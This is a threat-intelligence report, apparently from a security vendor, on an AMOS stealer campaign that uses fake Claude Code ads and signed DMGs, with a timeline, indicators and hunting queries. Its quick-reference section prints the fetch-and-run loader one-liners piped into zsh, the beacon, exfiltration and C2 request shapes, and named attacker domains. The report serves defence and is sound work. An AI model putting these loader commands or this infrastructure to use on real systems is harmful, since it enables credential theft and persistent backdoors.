HomeLabs
Fake Claude Code ads are installing AMOS on Macs
461
Discovered by Mate
708
Indicators

What happened

Fake Claude Code ads steal developers' credentials

Mate Research is tracking an active malware campaign that steals credentials from developers’ Macs by impersonating Claude Code. One install from a fake page can give away an organization’s cloud access. The campaign has run since at least May 2026, behind Homebrew, Codex and ChatGPT lures as well as Claude, and was still launching new builds on 1 November.

The attackers buy Google ads that appear when someone searches for Claude Code, and the ad opens a fake copy of the install page. Its Copy button shows the real install command but puts a different one on the clipboard. Pasted into Terminal, it installs Atomic macOS Stealer (AMOS), which takes AWS, gcloud and Docker credentials, password-manager data and crypto wallets, along with a root backdoor that survives a reboot.

What Mate's hunting agent found

A second way in, with no paste needed

Mate's agentic hunting found a new delivery technique, Apple-signed installers that infect the Mac without the paste, and new infrastructure that no public report we checked describes. This report turns them into detections and indicators you can deploy.

Why blocklists miss it

The servers change with every build

In this campaign, the attackers set up a new server to deliver the malware for each new build, usually a day or two before they use it. A blocklist of known servers only stops builds that have already been seen, so a team that relies on one will usually miss the attack. Catching the malware by how it behaves once it runs works on builds no one has reported yet. The files change with every build, but the steps don't: every build we decoded since May sends the same request home, and the backdoor has used the same two system-service names since at least August.

What you can do

Detect the behavior, and check for existing infections

The detections in this report cover both delivery routes, and each is ready to run in CrowdStrike, Defender XDR, Cortex XDR, SentinelOne, Splunk, Elastic and Sigma. Some of them also show whether a Mac is already infected, even if the infection happened weeks ago. The backdoor restarts itself every five seconds, so an infected Mac keeps setting them off.

Key findings

One kit since May, still active, and 461 indicators published here first

This is the kit already reported as "PasteSwitch" and in the fake-Codex campaigns. It has run since at least May behind Homebrew, Codex, disk-cleaner and Claude lures, and in late October it turned up behind a fake ChatGPT page Discovered by Mate. Builds first seen as late as 1 November fetch the malware from 28 new servers, 26 of them registered no more than two days before use; the domains the malware reports back to are older, registered 18 to 37 days earlier. Every build we decoded reports each paste to /api/metrics/run?event=pasted, which makes that request the simplest thing to hunt for. Of the 708 indicators in this report, 461 appear in no public source we checked Discovered by Mate.

Attack chain

From search ad to persistent backdoor

The steps follow an infection that malware-traffic-analysis.net ran and published on 2 October, except 02b, the signed-DMG route, which joins the same chain at stage 1. Each step lists its main indicators.

Lure

Google ad, fake download page

A sponsored search result shown as uerp.com (an abused ERP site) redirects to a Claude look-alike. Both URLs carry the same Google Ads campaign ID. The page leads to a pasted command (02a); the kit also ships Apple-signed DMGs that skip the paste (02b).

Indicators

  • Google Ads campaign 24303764142

Google ad · 2 Oct

Timeline

Activity since at least May, and when it became public

Operator activity is dated by first sighting in VirusTotal, by registration, or by certificate validity. A first sighting is a lower bound: the activity may be older than the oldest copy we found. Public reporting is dated by publication. Rows in amber announce a build, file or host that appears in no public source we checked.

  1. Operator

    Oldest build we foundDISCOVERED BY MATE

    Stage 1 8b6a4ad7…, a base64+gzip loader, beacons dedelk.com and fetches greenactiv.com/jetbrains/update, a path without a builder token. Beacon values in builds up to June lack the Ag prefix. This is the oldest copy our VirusTotal searches returned; earlier builds may exist.

  2. Public reporting

    A Claude Code lure already in May (malware-traffic-analysis.net)

    A Google ad leads to a fake Claude Code page whose echo "Downloading Claude: …" one-liner fetches stage 1 from suzke.com/curl/<64 hex>. The traffic reaches suzke.com and the beacon dedelk.com, both in our decodes of builds first seen 8 to 12 May, so this is the same kit. The backdoor polls at v=1.4.

  3. Public reporting

    Fake Homebrew infection (malware-traffic-analysis.net)

    Our decode of its stage 1 shows the paste beacon chiselvibe.com and the builder token 2kqYRM0D…. The backdoor polls at v=2.0, and its LaunchDaemon starts an osascript loop.

  4. Public reporting

    pcapai documents the C2 protocol

    From the 9 June capture: stage beacons, /contact, and backdoor /api/join and /api/tasks at v=2.0.

  5. Public reporting

    Zscaler: “ClaudeFix”

    Describes a base64+gzip zsh loader for MacSync (another macOS stealer sold as a service) with a different stage 2 and lists 53 hosts that we tie to this kit, as MacSync hosting.

  6. Public reporting

    SANS ISC diary 33208

    A “macOS toolkit” lure (infection 31 July). First public /api/feed/register and second backdoor module, tasking at v=2.1. We decoded its stage 1: builder token, beacon grove-89.com.

  7. Operator

    First AES-encrypted stage 1 seen

    Earliest AES copy in VirusTotal, from the fake OpenAI Codex campaign that Deriv and Cato later analysed. Every earlier build we decoded used base64+gzip; Cato described the switch on 24 August. A base64+gzip copy first reached VirusTotal on 12 September, but its payload host dates from June, so whether the older wrapper stopped is not determined.

  8. Operator

    A stager variant uses a separate key per chunk

    install.command (b70cffe1…) derives a new AES key for each hex block from the computed number, the block index and a suffix it leaves undefined. We recovered the suffix by exhaustive search and decrypted it: beacon stride40.com, builder token 2kqYRM0D…. A 27 August copy exports its suffix. Fifteen more such copies follow, first seen 20 August to 14 September, and two more on 7 and 22 October.

  9. Public reporting

    Deriv: fake OpenAI Codex

    Documents the stager template, the paste beacon and both LaunchDaemon labels.

  10. Operator

    Apple-signed DMGs start: Antigravity.dmgDISCOVERED BY MATE

    Signed by Developer ID “OSMAN ASTUR”, its helper script fetches a note from a jsDelivr-hosted GitHub repository that leads to maple30.com; in the sandbox it posts the kit’s paste beacon. Claude.dmg (14 Sep, served from claude-desktop.com, same identity) and WPS Office.dmg (20 Sep, “Mehmet Denizli”) follow. Antigravity.dmg’s sandbox beacon goes to terpster.com, the beacon in our decode of a build tagged antigravity (8de15cd4…, builder token jY1YcS4Z…, first seen 12 August).

  11. Public reporting

    AppCleanMac lure (malware-traffic-analysis.net)

    We decrypted its AES stage 1: beacon node-slate.com, a second builder token zyeMb6sl…. Tasking at v=2.2. The back-end returned the same bot ID it returned again on 2 October, and its files carry the same feed ID.

  12. Public reporting

    ADAMnetworks / Hudson Rock: “PasteSwitch”

    Maps the kit’s delivery groups and their domains.

  13. Public reporting

    Unit 42

    A “macOS toolkit” page on getmacouscloud.com (infection 5 August); same beacon and module directories.

  14. Operator

    Second beacon: event=stager

    Stage 2 now reports again just before it runs the payload (listed on ThreatFox the same day). Backdoor C2 199.91.221.4 is first seen.

  15. Operator

    Fourth signing certificate becomes valid

    The “Batuhan Korkmaz” certificate later used on macOSRJ.dmg becomes valid; the other three date from 13 August, 8 September and 18 September. The same day, 193.233.210.226 is first seen in VirusTotal serving /api/feed/items (a host in the original post).

  16. Operator

    Payload path changes to /f/<22>/<8>

    Replaces the builder-token path in every later build we decoded; a copy first seen on 14 October reuses the hosts of a 1 September build.

  17. Operator

    Infrastructure of the 2 October infection registered

    loop-88.com (25 Sep), lake-90.com (26 Sep), claude-desk-code.com (28 Sep).

  18. Operator

    First build reporting to the exfil server

    First of 42 stealer builds in VirusTotal that report to 152.42.143.45.

  19. Public reporting

    The Claude Code infection: an ad delivers AMOS (malware-traffic-analysis.net)

    Google ad for Claude Code at 22:25 UTC; the backdoor polls at v=3.0.

  20. Operator

    A third signing identity: macOSRJ.dmgDISCOVERED BY MATE

    macOSRJ.dmg from macosrj-us.com (first seen), signed by Developer ID “Batuhan Korkmaz”, drops a # MEW_WHISK script whose one-liner points at lake-90.com, and beacons to loop-88.com.

  21. Operator

    Still active: three new buildsDISCOVERED BY MATE

    5c3ef605… and a8406a1f… (6 Oct) and 1b34d6c9… (7 Oct) beacon cedar-55.com and pull payloads from lens80.com, framecopper10.com and shelter-copper.com, registered 2 to 6 October. A paste command first seen on 5 October fetches stage 1 from lens80.com/curl/….

  22. Operator

    Backdoor bots reach two more serversDISCOVERED BY MATE

    VirusTotal URL records show the backdoor’s sync, enrolment and tasking paths on 165.232.95.242 from 8 October and on the Cloudflare-fronted vcheropro.top from 13 October, each sharing a bot ID with 199.91.221.4.

  23. Operator

    A new beacon domain every few daysDISCOVERED BY MATE

    Builds first seen 11 to 18 October beacon willow-62.com, raster-87.com, trekkernel4.com and nova-49.com, registered 17 to 26 September. Each build pulls its payload from a host registered at most two days earlier.

  24. Operator

    Payload hosts come back as beacons

    lyricblaze9.com, a payload host in earlier builds, is the beacon domain in builds of 14 and 16 October; plume-compass.com follows on 21 and 22 October. A host’s role can change between builds.

  25. Operator

    A fake ChatGPT pageDISCOVERED BY MATE

    Two pages titled “ChatGPT, now free for everyone” on promotion-chatgpt.com (its URLs reach VirusTotal from 18 October), re-skinned from Claude’s Cowork page, carry the kit’s paste command. It fetches stage 1 from web-stat-2685.com/curl/<64 hex>, the older path form, in use alongside the newer one since May.

  26. Operator

    Still active: stratos30.comDISCOVERED BY MATE

    Nine builds first seen 23 to 27 October beacon stratos30.com, registered 26 September, and pull payloads from seven hosts registered 22 to 25 October; nest-52.com and garden-82.com also serve stage 1.

  27. Operator

    Still active: lift50.comDISCOVERED BY MATE

    Six builds first seen 28 to 30 October beacon lift50.com, registered 25 September, and pull payloads from sail91.com, bloom-88.com and balladquartz.com, each registered a day before its first build. A build of 1 November moves to linen96.com and anvil30.com.

Relationships

How the pieces connect

Line style shows the strength of the evidence for each link. Solid links rest on bytes we decoded or exact values that match; dashed links on VirusTotal sandbox or relationship data. A crossed line marks where we looked for the next hop and found none.

Google ad → lureclaude-desk-code.comApple-signed DMGs4 DMGs · 3 Developer IDsDISCOVERED BY MATEzsh stage-1 loader177 copies · all decodedPaste beacon58 domains · fire-and-forgetPayload hosts242 hosts · token or /f/pathsBeacon originbehind Cloudflare · notseenAMOS stealer51 buildsExfil servers11 IPsBackdoor C26 hosts · server-issued IDs/zxc/ second stages4 hostsstager decrypteddroppers decode to kit hosts58 decodeddecoded or exact URLDMG sandboxorigin not visiblesame event scheme,no shared hostdropped by the chainVT sandboxenrollment IDsVT sandbox
  • Decoded or exact match
  • VirusTotal sandbox or relationship
  • No link found
  • Same scheme, no shared host
  • Discovered by Mate

Swipe sideways to see the whole map.

Detect & hunt

Detections and hunts

Eight detections to alert on and three hunts to run periodically, each written for CrowdStrike, Defender XDR, Cortex XDR, SentinelOne, Splunk and Elastic, and as Sigma rules for any other SIEM. Each card has its rule in the Sigma tab; all of them together are below. Within each group they are ordered by how long their anchor has held, from the paste beacon, unchanged in every build we decoded, to infrastructure that rotates within days. Queries look back 7 days; widen the window as retention allows. Rotating domains are the least durable signal here. The paste beacon and the fetch-and-run sequence held in every build we decoded, from 2026-05-08 to 2026-11-01, and the two LaunchDaemon labels match in every published infection that shows them (10 September and 2 October).

Sigma Rules11 rules · YAML
Sigma YAML

Detect: alert on these

8 detections
Alert·Invariant·High

curl POSTing to the kit’s /api/metrics/run?event= beacon

Every stage 2 backgrounds a curl POST to /api/metrics/run?event=pasted (and event=stager since 18 September). The path is decoded before exec, so curl’s command line carries it in clear; the beacon has not changed in any build we decoded.

Held

Unchanged in every build decoded, from the oldest copy (first seen in VirusTotal on 8 May 2026) to 1 November: 177 stage-1 copies across both loader generations (108 AES-CTR, 69 base64+gzip), and the signed-DMG droppers in sandbox. Event names grew (pasted, then stager from 18 September); the path did not move. Header values gained the Ag prefix in July, which this query does not depend on.

Needs

Process events with full argv for curl. The beacon is backgrounded with stdout/stderr to /dev/null, so it is a short-lived child – sensors that sample short-lived processes may miss it.

CQL
#event_simpleName=ProcessRollup2 event_platform=Mac
| ImageFileName=/\/curl$/
| CommandLine=/\/api\/metrics\/run\?event=/
| table([@timestamp, ComputerName, ParentBaseFileName, CommandLine])
| head(200)

See: Attack chain · Timeline

Alert·Template·High

com.apple.* LaunchDaemon written to, or loaded from, /Library/LaunchDaemons

The backdoor installs root LaunchDaemons with Apple labels (com.apple.accountsd.helper, com.apple.metadata.mds.worker) in /Library/LaunchDaemons, where Apple’s own daemons never live. Writes by Apple-signed system components are excluded.

Held

Both labels in malware-traffic-analysis.net’s 10 September and 2 October infections (backdoor protocol 2.2 and 3.0) and in Deriv’s 28 August write-up.

Needs

macOS file-event telemetry for /Library/LaunchDaemons, or process events for launchctl. Root is required to write there, so this is post-password-prompt.

CQL
event_platform=Mac
| in(field="#event_simpleName", values=[AsepFileChangeDetectInfo, AsepFileChangeScanInfo, ProcessRollup2])
| TargetFileName=/^\/Library\/LaunchDaemons\/com\.apple\.[^\/]+\.plist$/
    or (ASEPFilePath=/^\/Library\/LaunchDaemons\/com\.apple\.[^\/]+\.plist$/
        and ImageFileName!=/^\/(System|usr\/libexec)\//)
    or (#event_simpleName=ProcessRollup2 and ImageFileName=/\/launchctl$/
        and CommandLine=/(^|[\s"'=])\/Library\/LaunchDaemons\/com\.apple\.[^\s\/]+\.plist/)
| table([@timestamp, ComputerName, #event_simpleName, TargetFileName, ASEPFilePath, ImageFileName, CommandLine])
| head(200)

See: Attack chain

Alert·Template·High

Process running from a hidden .com.apple.* folder in a user’s Application Support

The LaunchDaemons start the backdoor modules from hidden ~/Library/Application Support/.com.apple.*/ folders, where Apple keeps no executables. The query takes the process image or the command line that launches it.

Held

Both folder names in the published infections of 31 July (SANS), 5 August (Unit 42), 10 September and 2 October, and in Deriv’s 28 August write-up; the 9 June infection shows .com.apple.accountsd only. The June build looped in osascript, the September and October builds in bash; both launch the module from these folders.

Needs

Process events with the image path or the command line. The modules loop every five seconds, so an infected host produces these events continuously – a short window is enough.

CQL
#event_simpleName=ProcessRollup2 event_platform=Mac
| ImageFileName=/\/Library\/Application Support\/\.com\.apple\.[^\/]+\//
    or CommandLine=/\/Library\/Application Support\/\.com\.apple\.[^\/]+\//
| table([@timestamp, ComputerName, ImageFileName, ParentBaseFileName, CommandLine])
| head(200)

See: Attack chain

Alert·Template·High

openssl base64 -d -A in a command substitution under an interactive shell

The pasted line decodes its stage-1 URL with openssl base64 -d -A inside a command substitution of the user’s interactive shell. Decoding a URL with openssl rather than base64 -D is the builder’s habit and rare in legitimate scripts.

Held

Same pasted shape since at least 11 May (malware-traffic-analysis.net’s 11 May post: a fake Claude Code page whose paste fetches suzke.com/curl/<64 hex>) and in every published infection tied to the kit with a Terminal screenshot since: 9 June (fake Homebrew), 31 July (macOS toolkit), 10 September (disk cleaner) and 2 October (Claude Code). The decoy echo prefix varies by storefront and is not matched.

Needs

Process events with argv for openssl and the parent’s name and command line.

CQL
#event_simpleName=ProcessRollup2 event_platform=Mac
| ImageFileName=/\/openssl$/
| CommandLine=/base64\s+-d\s+-A/
| CommandLine!=/\s-(in|out)\s/
| ParentBaseFileName=/^(zsh|bash|sh)$/
| table([@timestamp, ComputerName, ParentBaseFileName, CommandLine])
| head(200)

See: Attack chain · Timeline

Alert·Template·High

Signed-app dropper piping base64 -D or a jsDelivr note into zsh

The Apple-signed DMGs run a dropped script with zsh that decodes a stage-1 URL (base64 -D or openssl base64 -d -A) and pipes the download into zsh, or fetch a jsDelivr-hosted autoupd.note into ~/Library/Caches/DayNote/. Gatekeeper passes the signed app, so this shell is the first observable step.

Held

Four DMGs from 2026-09-04 to 2026-10-04 (Antigravity, Claude, WPS Office, macOSRJ) under three identities; markers seen so far MEW_WHISK and NOCK_SHIFT. Young: one month of observation.

Needs

Process events with the full command line of sh/zsh/bash invoked by the app.

CQL
#event_simpleName=ProcessRollup2 event_platform=Mac
| ImageFileName=/\/(zsh|bash|sh)$/
| CommandLine=/base64\s+-D\s*\|\s*(\/bin\/)?zsh/
    or CommandLine=/\/Library\/Caches\/DayNote\//
    or CommandLine=/cdn\.jsdelivr\.net\/gh\/[^\/\s]+\/[^\/\s]+@main\/autoupd\.note/
| table([@timestamp, ComputerName, ParentBaseFileName, CommandLine])
| head(200)

See: Attack chain · Timeline

Alert·Template·High

openssl decrypting AES-128-CTR with an all-zero IV from a shell

The AES stage 1 decrypts its payload with openssl enc -d -aes-128-ctr and an all-zero IV. Variable tricks hide the tool names in the script, not in the process event, and legitimate scripts rarely use CTR with a fixed zero IV.

Held

Every AES copy decoded: 108, from 14 August (first in VirusTotal) to 1 November, including the 2 October infection and the per-chunk-key variant. The 69 base64+gzip copies (8 May to 12 August; one more first reached VirusTotal on 12 September) are not covered, so whether the older wrapper stopped is not determined.

Needs

Process events with full argv for openssl.

CQL
#event_simpleName=ProcessRollup2 event_platform=Mac
| ImageFileName=/\/openssl$/
| CommandLine=/enc\s+-d\s+-aes-128-ctr/
| CommandLine=/-iv\s+0{32}/
| table([@timestamp, ComputerName, ParentBaseFileName, CommandLine])
| head(200)

See: Attack chain · Timeline

Alert·Technique·High

Executable launched from /tmp/helper or a hidden /tmp dotfile, or quarantine cleared on one

Stage 2 drops the stealer in /tmp (/tmp/helper until late August, a hidden /tmp/.<random> since), clears its quarantine with xattr -c and runs it. The query covers both locations and the xattr -c on them.

Held

Execution from /tmp held in every build decoded, 8 May to 1 November. The file name changed once: /tmp/helper from 8 May to about 25 August, a hidden /tmp/.<5-10 lowercase alnum> from 29 August. Both shapes are matched.

Needs

Process events carrying the executable’s full path. Note that /tmp resolves to /private/tmp, and platforms differ in which form they record – the regex accepts both.

Note

Filed as alert on structure. Legitimate updaters that stage binaries under /tmp would push it to hunt; exclude them by signer rather than by file name.

CQL
#event_simpleName=ProcessRollup2 event_platform=Mac
| ImageFileName=/^\/(private\/)?tmp\/(\.[A-Za-z0-9_]{4,16}|helper)$/
    or (ImageFileName=/\/xattr$/ and CommandLine=/-c\s+\/(private\/)?tmp\/(\.[A-Za-z0-9_]{4,16}|helper)(\s|$)/)
| table([@timestamp, ComputerName, ImageFileName, ParentBaseFileName, CommandLine])
| head(200)

See: Attack chain · Timeline

Alert·Technique·High

osascript dialog with a hidden answer launched from a shell or an unsigned binary

The stealer asks for the login password through an AppleScript dialog with a hidden answer field posing as a system prompt. IT scripts prompt the same way, so group by parent process first.

Held

Shown in the published infections with prompt screenshots (Unit 42’s 5 August, malware-traffic-analysis.net’s 2 October), and long-standing across the AMOS family. Not visible in our own decodes, because the binaries’ strings are encrypted.

Needs

Process events with the osascript command line. Group by parent rather than listing raw rows: neighbouring events (dscl authonly) carry the typed password in argv.

Note

IT and MDM password prompts use the same dialog. Deploy grouped by parent, and exclude signed IT tooling by signer before alerting.

CQL
#event_simpleName=ProcessRollup2 event_platform=Mac
| ImageFileName=/\/osascript$/
| CommandLine=/hidden answer/i
| groupBy([ParentBaseFileName], function=[count(as=n), count(aid, distinct=true, as=hosts)])
| head(100)

See: Attack chain

Hunt: run periodically, do not alert

3 hunts
Hunt·Template·Medium

curl fetching the kit’s stage-1 or payload URL shapes

curl fetching the kit’s server-side URL shapes: stage 1 from /curl/<8-12>/<12-32>, with or without a .txt, .dat or .json extension, and payloads from /f/<22>/<8> or a 43-character builder-token path. The shapes outlive any one host but can change in one release.

Held

/curl/<8-12>/<16-24> stage-1 paths (update.sh or setup.sh behind the DMG droppers) in every decoded build with a fetchable stage 1 through 1 November; /curl/<64 hex> alongside it in paste commands from May to August and in October; builder-token payload URLs in VirusTotal from 22 May to 29 September (one late copy first seen 14 October); /f/<22>/<8> payload paths from 25 September to 1 November, the 22-character segment drawing ‘-’ and ‘_’.

Needs

curl argv with the full URL.

CQL
#event_simpleName=ProcessRollup2 event_platform=Mac
| ImageFileName=/\/curl$/
| CommandLine=/https?:\/\/[^\/\s]+\/curl\/([a-z0-9]{8,12}\/([A-Za-z0-9_-]{12,32}(\.(txt|dat|json))?|(update|setup)\.sh)|[0-9a-f]{64})([\s'"?]|$)/
    or CommandLine=/https?:\/\/[^\/\s]+\/f\/[a-z0-9_-]{20,24}\/[a-z0-9]{6,10}([\s'"]|$)/
    or CommandLine=/https?:\/\/[^\/\s]+\/[A-Za-z0-9_-]{43}\/[A-Za-z0-9_-]{2,16}\/update/
| table([@timestamp, ComputerName, ParentBaseFileName, CommandLine])
| head(200)

See: Attack chain · Indicators

Hunt·Technique·Low

Root shell resolving the console user and launching a per-user binary in a tight loop

The backdoor’s loop resolves the console user with stat -f %Su /dev/console every five seconds. MDM tools use the same lookup, so the query keeps only the rate.

Held

Same loop shape in the September and October published infections and in four launcher copies first seen 8 to 18 October (one adds a pgrep check before relaunching); the June build looped in osascript.

Needs

Process events for stat with argv and the parent name.

CQL
#event_simpleName=ProcessRollup2 event_platform=Mac
| ImageFileName=/\/stat$/
| CommandLine=/-f\s+"?%Su"?\s+\/dev\/console/
| UID=0
| groupBy([aid, ParentBaseFileName], function=[count(as=n)], limit=max)
| n >= 5000
| groupBy([ParentBaseFileName], function=[count(as=hosts), sum(n, as=events), max(n, as=max_per_host)])
| head(100)

See: Attack chain

Hunt·Infrastructure·Low

DNS for Claude-branded domains outside Anthropic’s own

Lists Claude-branded domains resolved outside Anthropic’s own, for review. The lures sat on claude-desk-code.com and claude-desktop.com; the next storefront will borrow another brand, so this is a hunt, not a durable anchor.

Held

Claude branding throughout: a fake Claude Code page on 11 May, shared Claude chats in Zscaler’s July report, a Claude Code page in Cato’s 24 August report, claude-desktop.com serving Claude.dmg from 13 September, and claude-desk-code.com registered 28 September. Other storefronts posed as Homebrew, OpenAI Codex, a macOS toolkit, a disk cleaner and, in October, ChatGPT.

Needs

DNS telemetry with the query name.

CQL
#event_simpleName=DnsRequest
| DomainName=/claude/i
| DomainName=/\./
| DomainName!=/(^|\.)(claude\.ai|claude\.com|anthropic\.com|claudeusercontent\.com|claude\.site|claudemcpcontent\.com)\.?$/i
| DomainName!=/\.(lan|local|home|internal|box|localdomain)\.?$/i
| groupBy([DomainName], function=[count(as=n), count(aid, distinct=true, as=hosts)])
| sort(n, limit=200)
| head(200)

See: Attack chain · Indicators

Quick reference: what the kit looks like

5 patterns
  • Process: the pasted command

    The clipboard one-liner and the stage-1 decrypt both run from a user’s shell.

    curl -s $(echo "<base64>" | openssl base64 -d -A) | zsh
    <var><var> -r -p | <var><var> enc -d -aes-128-ctr -K <md5> \
      -iv 00000000000000000000000000000000 | <var><var>
  • Network: the paste beacon

    POSTs with two custom headers; since July their values start with Ag. Exfil and progress go to bare IPs on port 80.

    GET  /curl/<8-12>/<16-24>[.json|.txt|.dat]  (stage 1)
    GET  /curl/<64 hex>                         (stage 1, older form, still used)
    POST /api/metrics/run?event=pasted|stager
      user: Ag…   BuildID: Ag…
    POST http://<ip>/contact
    POST http://<ip>/api/metrics/run?event=stage&stage=<name>
  • Persistence: Apple labels in the wrong place

    Apple’s own daemons live in /System/Library/LaunchDaemons. A com.apple.* label in /Library/LaunchDaemons that runs bash is a strong signal.

    /Library/LaunchDaemons/com.apple.accountsd.helper.plist
    /Library/LaunchDaemons/com.apple.metadata.mds.worker.plist
    ~/Library/Application Support/.com.apple.accountsd/
    ~/Library/Application Support/.com.apple.metadata.mds/
  • Signed DMG droppers

    A signed app launcher runs a bundled helper.sh that fetches a note from a jsDelivr-hosted GitHub repository, or the app drops a short script whose first line is a two-word marker comment (seen so far: MEW_WHISK, NOCK_SHIFT). Both end in a remote script piped to zsh.

    ~/Library/Caches/DayNote/updates/remote.sh
    ~/Library/Logs/DayNote-helper.log
    https://cdn.jsdelivr.net/gh/<user>/<repo>@main/autoupd.note
    # MEW_WHISK | # NOCK_SHIFT
    … | base64 -D | zsh
    curl -s $(echo "<b64>" | openssl base64 -d -A) | zsh
  • Backdoor traffic

    Module C2 polling, versioned. The server issues the IDs at enrollment and the module directories store them. The uid in /ws/sync/x3 is the /api/tasks ID in hex.

    POST /api/join/
    GET  /ws/sync/x3?uid=<32 hex>&v=<ver>&s=<64 hex>
    GET  /api/tasks/<id>?v=1.4|2.0|2.1|2.2|3.0
    POST /api/feed/register
    GET  /api/feed/items/<32 hex>

Indicators

Indicator register

Values absent from every public report and feed we checked are marked in amber. Per-victim and per-build values (random temp paths, bot IDs) are left out; hunt their shapes instead.

Loading indicators…
Indicator
Category
VT
Context

Limits

Caveats

  • Family. AMOS is the original post’s and other vendors’ identification (Zscaler files some earlier hosting under MacSync). We did not reverse-engineer the payloads.
  • Counts and dates are floors. VirusTotal searches are capped, and a first sighting is the oldest copy we found, so the kit is larger and older than shown.
  • What is listed. Values tied to the kit by our decoding; by a sandbox run of a decoded sample, a signed DMG or a published infection we tied; by a build’s sandbox contact with one of the kit’s exfil servers; by a signing identity; or by a backdoor bot ID shared with a known C2 server; plus hosts carrying the kit’s exact builder-token or payload URLs. A shared URL shape or template alone is not enough.
  • “Discovered by Mate” means absent from every public report and ThreatFox entry we checked as of 3 November 2026 (ThreatFox entries to 20 October).
  • Naming. Some feeds tag this kit “Foxveil”; Cato CTRL’s Foxveil is an unrelated Windows loader.
  • VT ratios are as fetched between 5 October and 3 November 2026 and will change.

References

Prior reporting

  1. malware-traffic-analysis.net, 2026-10-02: AMOS from a malicious ad impersonating Claude Code (the infection analysed here)
  2. malware-traffic-analysis.net, 2026-09-10: Atomic macOS (AMOS) stealer infection
  3. malware-traffic-analysis.net, 2026-06-09: AMOS infection from a fake Homebrew page
  4. malware-traffic-analysis.net, 2026-05-11: malicious ad leads to macOS malware infection
  5. Moonlock, 2025: AMOS backdoor for persistent access
  6. pcapai, 2026-06-23: Reading the AMOS C2 protocol from a PCAP
  7. Zscaler, 2026-07-15: ClaudeFix, shared Claude chats meet ClickFix
  8. SANS ISC diary 33208, 2026-08-02: Atomic macOS (AMOS) stealer infection
  9. Cato CTRL, 2026-08-24: When trust becomes the payload in a fake Codex ClickFix campaign
  10. Deriv, 2026-08-28: The page that showed me malware and showed the scanners a billing app
  11. Deriv, 2026-09-02: A crypto phishing cluster linked to the ClickFix campaign
  12. Deriv threat-research: fake Codex AMOS IOCs
  13. lostsh, 2026-09-03: Anatomy of a ClickFix infection
  14. ADAMnetworks, 2026-09-13: HBO Max ads exposed the PasteSwitch ClickFix operation
  15. Hudson Rock (infostealers.com): the PasteSwitch ClickFix operation
  16. Unit 42, 2026-09-16: Atomic macOS (AMOS) stealer activity
  17. Cato CTRL, 2026-02: Foxveil, a new malware loader abusing Cloudflare, Discord and Netlify (Windows loader; cited only for the naming caveat)
  18. abuse.ch ThreatFox